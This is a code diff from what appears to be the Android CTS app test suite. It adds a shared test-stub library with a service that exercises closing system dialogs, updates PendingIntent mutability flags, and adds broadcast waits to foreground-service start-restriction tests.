+        "src/**/*.kt",
         "src/android/app/stubs/ISecondary.aidl",
     ],
     // Tag this module as a cts test artifact
@@ -59,6 +62,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -92,6 +96,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
@@ -125,6 +130,7 @@
         "mockito-target-minus-junit4",
         "androidx.legacy_legacy-support-v4",
         "androidx.test.core",
+        "CtsAppTestStubsShared",
     ],
     srcs: [
         "src/**/*.java",
diff --git a/tests/app/app/AndroidManifest.xml b/tests/app/app/AndroidManifest.xml
index 521d6b9..e8fd2c4 100644
--- a/tests/app/app/AndroidManifest.xml
+++ b/tests/app/app/AndroidManifest.xml
@@ -277,6 +277,9 @@
             </intent-filter>
         </activity>
 
+        <activity android:name="android.app.stubs.NotificationHostActivity"
+            android:label="NotificationHostActivity"/>
+
         <activity android:name="android.app.stubs.MockTabActivity"
              android:label="MockTabActivity"/>
 
@@ -492,6 +495,9 @@
             android:exported="true"
             android:isolatedProcess="true">
         </service>
+
+        <service android:name=".CloseSystemDialogsTestService"
+            android:exported="true" />
     </application>
 
 </manifest>
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index d675a52..a3bf4f7 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
     private Notification getNotificationForTest(int testCase, Context context) {
         final Intent intent = new Intent(context, SendBubbleActivity.class);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
+                PendingIntent.getActivity(getApplicationContext(), 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Person person = new Person.Builder()
                 .setName("bubblebot")
                 .build();
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index 9d110f0..b34eece 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -246,7 +246,7 @@
         int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
         intent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
         final PendingIntent pendingIntent = PendingIntent.getForegroundService(context, 0,
-                intent, 0);
+                intent, PendingIntent.FLAG_IMMUTABLE);
         sPendingIntent.put(targetPackage, pendingIntent);
     }
 
diff --git a/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt b/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt
new file mode 100644
index 0000000..2a2a4b3
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/NotificationHostActivity.kt
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.stubs
+
+import android.R
+import android.app.Activity
+import android.os.Bundle
+import android.view.View
+import android.widget.FrameLayout
+import android.widget.FrameLayout.LayoutParams
+import android.widget.RemoteViews
+
+class NotificationHostActivity : Activity() {
+    override fun onCreate(savedInstanceState: Bundle?) {
+        super.onCreate(savedInstanceState)
+        val views = (intent.getParcelableExtra(EXTRA_REMOTE_VIEWS) as RemoteViews?)!!
+        val height = intent.getIntExtra(EXTRA_HEIGHT, LayoutParams.WRAP_CONTENT)
+        setContentView(FrameLayout(this).also {
+            val child = views.apply(this, it)
+            it.id = R.id.content
+            it.addView(child, LayoutParams(LayoutParams.MATCH_PARENT, height))
+        })
+    }
+
+    val notificationRoot: View
+        get() = requireViewById<FrameLayout>(R.id.content).getChildAt(0)
+
+    companion object {
+        const val EXTRA_REMOTE_VIEWS = "remote_views"
+        const val EXTRA_HEIGHT = "height"
+    }
+}
\ No newline at end of file
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
index 1cbd70f..e02382b 100644
--- a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -61,7 +61,7 @@
     public void sendInvalidBubble(boolean autoExpand) {
         Context context = getApplicationContext();
 
-        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), 0);
+        PendingIntent pendingIntent = PendingIntent.getActivity(context, 0, new Intent(), PendingIntent.FLAG_MUTABLE_UNAUDITED);
         Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
                 .setSmallIcon(R.drawable.black)
                 .setWhen(System.currentTimeMillis())
@@ -109,7 +109,7 @@
         intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
         intent.setAction(Intent.ACTION_MAIN);
         final PendingIntent pendingIntent =
-                PendingIntent.getActivity(context, 0, intent, 0);
+                PendingIntent.getActivity(context, 0, intent, PendingIntent.FLAG_MUTABLE_UNAUDITED);
 
         return new Notification.BubbleMetadata.Builder(pendingIntent,
                 Icon.createWithResource(context, R.drawable.black))
diff --git a/tests/app/shared/Android.bp b/tests/app/shared/Android.bp
new file mode 100644
index 0000000..6b230b2
--- /dev/null
+++ b/tests/app/shared/Android.bp
@@ -0,0 +1,25 @@
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+
+android_library {
+    name: "CtsAppTestStubsShared",
+    defaults: ["cts_support_defaults"],
+    srcs: [
+        "src/**/*.java",
+        "src/**/*.aidl",
+    ],
+    platform_apis: true,
+    min_sdk_version: "14",
+}
diff --git a/tests/app/shared/AndroidManifest.xml b/tests/app/shared/AndroidManifest.xml
new file mode 100644
index 0000000..0f5bff4
--- /dev/null
+++ b/tests/app/shared/AndroidManifest.xml
@@ -0,0 +1,25 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="android.app.stubs.shared">
+    <application>
+        <service
+            android:name="android.app.stubs.shared.CloseSystemDialogsTestService"
+            android:exported="true" />
+    </application>
+</manifest>
diff --git a/tests/app/shared/README.md b/tests/app/shared/README.md
new file mode 100644
index 0000000..26bfe61
--- /dev/null
+++ b/tests/app/shared/README.md
@@ -0,0 +1,2 @@
+Code here is shared between the test (CtsAppTestCases) and the apps (CtsAppTestStubs,
+CtsAppTestStubsAppN)
diff --git a/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
new file mode 100644
index 0000000..499025f
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/CloseSystemDialogsTestService.java
@@ -0,0 +1,125 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import static android.app.PendingIntent.FLAG_IMMUTABLE;
+
+import android.app.IActivityManager;
+import android.app.Notification;
+import android.app.NotificationChannel;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.app.Service;
+import android.content.BroadcastReceiver;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.os.ResultReceiver;
+import android.os.ServiceManager;
+import android.view.IWindowManager;
+
+/**
+ * This is a bound service used in conjunction with CloseSystemDialogsTest.
+ */
+public class CloseSystemDialogsTestService extends Service {
+    private static final String TAG = "CloseSystemDialogsTestService";
+    private static final String NOTIFICATION_ACTION = TAG;
+    private static final String NOTIFICATION_CHANNEL_ID = "cts/" + TAG;
+
+    private final ICloseSystemDialogsTestsService mBinder = new Binder();
+    private NotificationManager mNotificationManager;
+    private IWindowManager mWindowManager;
+    private IActivityManager mActivityManager;
+    private BroadcastReceiver mNotificationReceiver;
+
+    @Override
+    public void onCreate() {
+        super.onCreate();
+        mNotificationManager = getSystemService(NotificationManager.class);
+        mWindowManager = IWindowManager.Stub.asInterface(
+                ServiceManager.getService(Context.WINDOW_SERVICE));
+        mActivityManager = IActivityManager.Stub.asInterface(
+                ServiceManager.getService(Context.ACTIVITY_SERVICE));
+    }
+
+    @Override
+    public IBinder onBind(Intent intent) {
+        return mBinder.asBinder();
+    }
+
+    @Override
+    public void onDestroy() {
+        super.onDestroy();
+        if (mNotificationReceiver != null) {
+            unregisterReceiver(mNotificationReceiver);
+        }
+    }
+
+    private class Binder extends ICloseSystemDialogsTestsService.Stub {
+        private final Context mContext = CloseSystemDialogsTestService.this;
+
+        @Override
+        public void sendCloseSystemDialogsBroadcast() {
+            mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+        }
+
+        @Override
+        public void postNotification(int notificationId, ResultReceiver receiver) {
+            mNotificationReceiver = new BroadcastReceiver() {
+                @Override
+                public void onReceive(Context context, Intent intent) {
+                    try {
+                        mContext.sendBroadcast(new Intent(Intent.ACTION_CLOSE_SYSTEM_DIALOGS));
+                        receiver.send(RESULT_OK, null);
+                    } catch (SecurityException e) {
+                        receiver.send(RESULT_SECURITY_EXCEPTION, null);
+                    }
+                }
+            };
+            mContext.registerReceiver(mNotificationReceiver, new IntentFilter(NOTIFICATION_ACTION));
+            Intent intent = new Intent(NOTIFICATION_ACTION);
+            intent.setPackage(mContext.getPackageName());
+            CloseSystemDialogsTestService.this.notify(
+                    notificationId,
+                    PendingIntent.getBroadcast(mContext, 0, intent, FLAG_IMMUTABLE));
+        }
+
+        @Override
+        public void closeSystemDialogsViaWindowManager(String reason) throws RemoteException {
+            mWindowManager.closeSystemDialogs(reason);
+        }
+
+        @Override
+        public void closeSystemDialogsViaActivityManager(String reason) throws RemoteException {
+            mActivityManager.closeSystemDialogs(reason);
+        }
+    }
+
+    private void notify(int notificationId, PendingIntent intent) {
+        Notification notification =
+                new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
+                        .setSmallIcon(android.R.drawable.ic_info)
+                        .setContentIntent(intent)
+                        .build();
+        NotificationChannel notificationChannel = new NotificationChannel(NOTIFICATION_CHANNEL_ID,
+                NOTIFICATION_CHANNEL_ID, NotificationManager.IMPORTANCE_DEFAULT);
+        mNotificationManager.createNotificationChannel(notificationChannel);
+        mNotificationManager.notify(notificationId, notification);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/FakeView.java b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
new file mode 100644
index 0000000..5910254
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/FakeView.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.content.Context;
+import android.view.View;
+
+import java.util.concurrent.ArrayBlockingQueue;
+import java.util.concurrent.BlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class FakeView extends View {
+    private final BlockingQueue<String> mCalls = new ArrayBlockingQueue<>(3);
+
+    public FakeView(Context context) {
+        super(context);
+    }
+
+    @Override
+    public void onCloseSystemDialogs(String reason) {
+        mCalls.add(reason);
+    }
+
+    public String getNextCloseSystemDialogsCallReason(long timeoutMs) throws InterruptedException {
+        return mCalls.poll(timeoutMs, TimeUnit.MILLISECONDS);
+    }
+}
diff --git a/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
new file mode 100644
index 0000000..649b2cb
--- /dev/null
+++ b/tests/app/shared/src/android/app/stubs/shared/ICloseSystemDialogsTestsService.aidl
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs.shared;
+
+import android.os.ResultReceiver;
+
+interface ICloseSystemDialogsTestsService {
+    void sendCloseSystemDialogsBroadcast();
+    void closeSystemDialogsViaWindowManager(String reason);
+    void closeSystemDialogsViaActivityManager(String reason);
+
+    const int RESULT_OK = 0;
+    const int RESULT_SECURITY_EXCEPTION = 1;
+
+    /**
+     * Posts a notification with id {@code notificationId} with a broadcast pending intent, then in
+     * that pending intent sends {@link android.content.Intent#ACTION_CLOSE_SYSTEM_DIALOGS}.
+     *
+     * The caller is responsible for trigerring the notification. The passed in {@code receiver}
+     * will be called once the intent has been sent.
+     */
+    void postNotification(int notificationId, in ResultReceiver receiver);
+}
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
index 28611c5..0cbe497 100644
--- a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -53,6 +53,7 @@
 
 import org.junit.After;
 import org.junit.Before;
+import org.junit.Ignore;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -70,7 +71,6 @@
  * when the process is in background state.
  */
 @RunWith(AndroidJUnit4.class)
-//@Suppress
 public class ActivityManagerApi29Test {
     private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
     private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
@@ -174,6 +174,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testTopActivityWithAppOps() throws Exception {
         startSimpleActivity();
         mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
@@ -200,6 +202,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testFgsLocationWithAppOps() throws Exception {
         // Start a foreground service with location
         startSimpleService();
@@ -238,6 +242,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testAppOpsHistoricalOps() throws Exception {
         runWithShellPermissionIdentity(
                 () ->  sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
@@ -302,6 +308,8 @@
      * @throws Exception
      */
     @Test
+    @Ignore("because ag/13230961, FGS started in instrumentation are not subject to while-in-use "
+            + "restriction")
     public void testCameraWithAppOps() throws Exception {
         startSimpleService();
         // Wait for state and capability change.
diff --git a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
index f6fc834..7b2c832 100644
--- a/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
+++ b/tests/app/src/android/app/cts/ActivityManagerFgsBgStartTest.java
@@ -43,6 +43,7 @@
 import android.content.pm.ServiceInfo;
 import android.os.Bundle;
 import android.os.IBinder;
+import android.os.SystemClock;
 import android.permission.cts.PermissionUtils;
 import android.provider.DeviceConfig;
 import android.provider.Settings;
@@ -73,8 +74,6 @@
 
     private static final String KEY_DEFAULT_FGS_STARTS_RESTRICTION_ENABLED =
             "default_fgs_starts_restriction_enabled";
-    private static final String KEY_DEFAULT_FGS_STARTS_TEMP_ALLOWLIST_ENABLED =
-            "default_fgs_starts_temp_allowlist_enabled";
 
     private static final int WAITFOR_MSEC = 10000;
 
@@ -102,7 +101,7 @@
         }
         CtsAppTestUtils.turnScreenOn(mInstrumentation, mContext);
         cleanupResiduals();
-        enableFgsRestriction(false, true, null);
+        enableFgsRestriction(true, true, null);
     }
 
     @After
@@ -112,7 +111,7 @@
             allowBgActivityStart(PACKAGE_NAMES[i], true);
         }
         cleanupResiduals();
-        enableFgsRestriction(false, true, null);
+        enableFgsRestriction(true, true, null);
     }
 
     private void cleanupResiduals() {
@@ -142,11 +141,14 @@
                 WAITFOR_MSEC);
 
         try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
             // APP1 is in BG state, Start FGSL in APP1, it won't get location capability.
             Bundle bundle = new Bundle();
             bundle.putInt(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             // start FGSL.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, bundle);
@@ -154,6 +156,7 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -162,6 +165,8 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // APP1 is in FGS state, start FGSL in APP1, it won't get location capability.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -174,6 +179,7 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGSL.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -228,6 +234,7 @@
                     ServiceInfo.FOREGROUND_SERVICE_TYPE_LOCATION);
             WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_START_FGSL_RESULT);
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, bundle);
@@ -253,6 +260,8 @@
                     WatchUidRunner.STATE_TOP,
                     new Integer(PROCESS_CAPABILITY_ALL));
 
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
             // From APP1, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE_LOCATION,
@@ -261,6 +270,7 @@
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_ALL));
+            waiter.doWait(WAITFOR_MSEC);
 
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -302,7 +312,10 @@
                 WAITFOR_MSEC);
 
         try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
             // APP1 is in BG state, start FGSL in APP2.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
@@ -313,6 +326,7 @@
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             // Stop FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE_LOCATION,
@@ -321,6 +335,8 @@
                     WatchUidRunner.STATE_CACHED_EMPTY,
                     new Integer(PROCESS_CAPABILITY_NONE));
 
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Put APP1 in FGS state, start FGSL in APP2.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -328,11 +344,12 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_CREATE_FGSL_PENDING_INTENT,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
 
-            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
             waiter.prepare(ACTION_START_FGSL_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_SEND_FGSL_PENDING_INTENT,
@@ -410,7 +427,10 @@
                 WAITFOR_MSEC);
 
         try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGSL_RESULT);
             // APP1 is in BG state, bind FGSL in APP1 first.
+            enableFgsRestriction(false, true, null);
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_BIND_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             Bundle bundle = new Bundle();
@@ -425,6 +445,7 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE,
                     WatchUidRunner.STATE_FG_SERVICE,
                     new Integer(PROCESS_CAPABILITY_NONE));
+            waiter.doWait(WAITFOR_MSEC);
 
             // unbind service.
             CommandReceiver.sendCommand(mContext, CommandReceiver.COMMAND_UNBIND_SERVICE,
@@ -466,7 +487,10 @@
         WatchUidRunner uid1Watcher = new WatchUidRunner(mInstrumentation, app1Info.uid,
                 WAITFOR_MSEC);
         try {
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // disable the FGS background startForeground() restriction.
+            enableFgsRestriction(false, true, null);
             enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
             // APP1 is in BG state, Start FGS in APP1.
             CommandReceiver.sendCommand(mContext,
@@ -474,6 +498,7 @@
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 is in STATE_FG_SERVICE.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
             // stop FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -482,14 +507,17 @@
 
             // Enable the FGS background startForeground() restriction.
             allowBgActivityStart(PACKAGE_NAME_APP1, false);
+            enableFgsRestriction(true, true, null);
             enableFgsRestriction(true, useDeviceConfig, PACKAGE_NAME_APP1);
             // Start FGS in BG state.
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // APP1 does not enter FGS state
             try {
-                uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+                waiter.doWait(WAITFOR_MSEC);
                 fail("Service should not enter foreground service state");
             } catch (Exception e) {
             }
@@ -501,6 +529,9 @@
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
             allowBgActivityStart(PACKAGE_NAME_APP1, false);
+
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // Now it can start FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
@@ -511,6 +542,7 @@
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             // FGS is still running.
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
             // Stop the FGS.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_STOP_FOREGROUND_SERVICE,
@@ -518,7 +550,6 @@
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY);
         } finally {
             uid1Watcher.finish();
-            enableFgsRestriction(false, useDeviceConfig, PACKAGE_NAME_APP1);
         }
     }
 
@@ -557,11 +588,14 @@
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_BOUND_TOP);
 
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // APP2 can start FGS in APP3.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
 
             // Stop activity.
             CommandReceiver.sendCommand(mContext,
@@ -582,7 +616,6 @@
             uid1Watcher.finish();
             uid2Watcher.finish();
             uid3Watcher.finish();
-            enableFgsRestriction(false, true, null);
         }
     }
 
@@ -615,17 +648,23 @@
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP1, 0, null);
             uid1Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP);
 
+            WaitForBroadcast waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // APP1 can start FGS in APP2, APP2 gets FOREGROUND_SERVICE state.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP1, PACKAGE_NAME_APP2, 0, null);
             uid2Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
 
+            waiter = new WaitForBroadcast(mInstrumentation.getTargetContext());
+            waiter.prepare(ACTION_START_FGS_RESULT);
             // APP2 can start FGS in APP3.
             CommandReceiver.sendCommand(mContext,
                     CommandReceiver.COMMAND_START_FOREGROUND_SERVICE,
                     PACKAGE_NAME_APP2, PACKAGE_NAME_APP3, 0, null);
             uid3Watcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE);
+            waiter.doWait(WAITFOR_MSEC);
 
             // Stop activity in APP1.
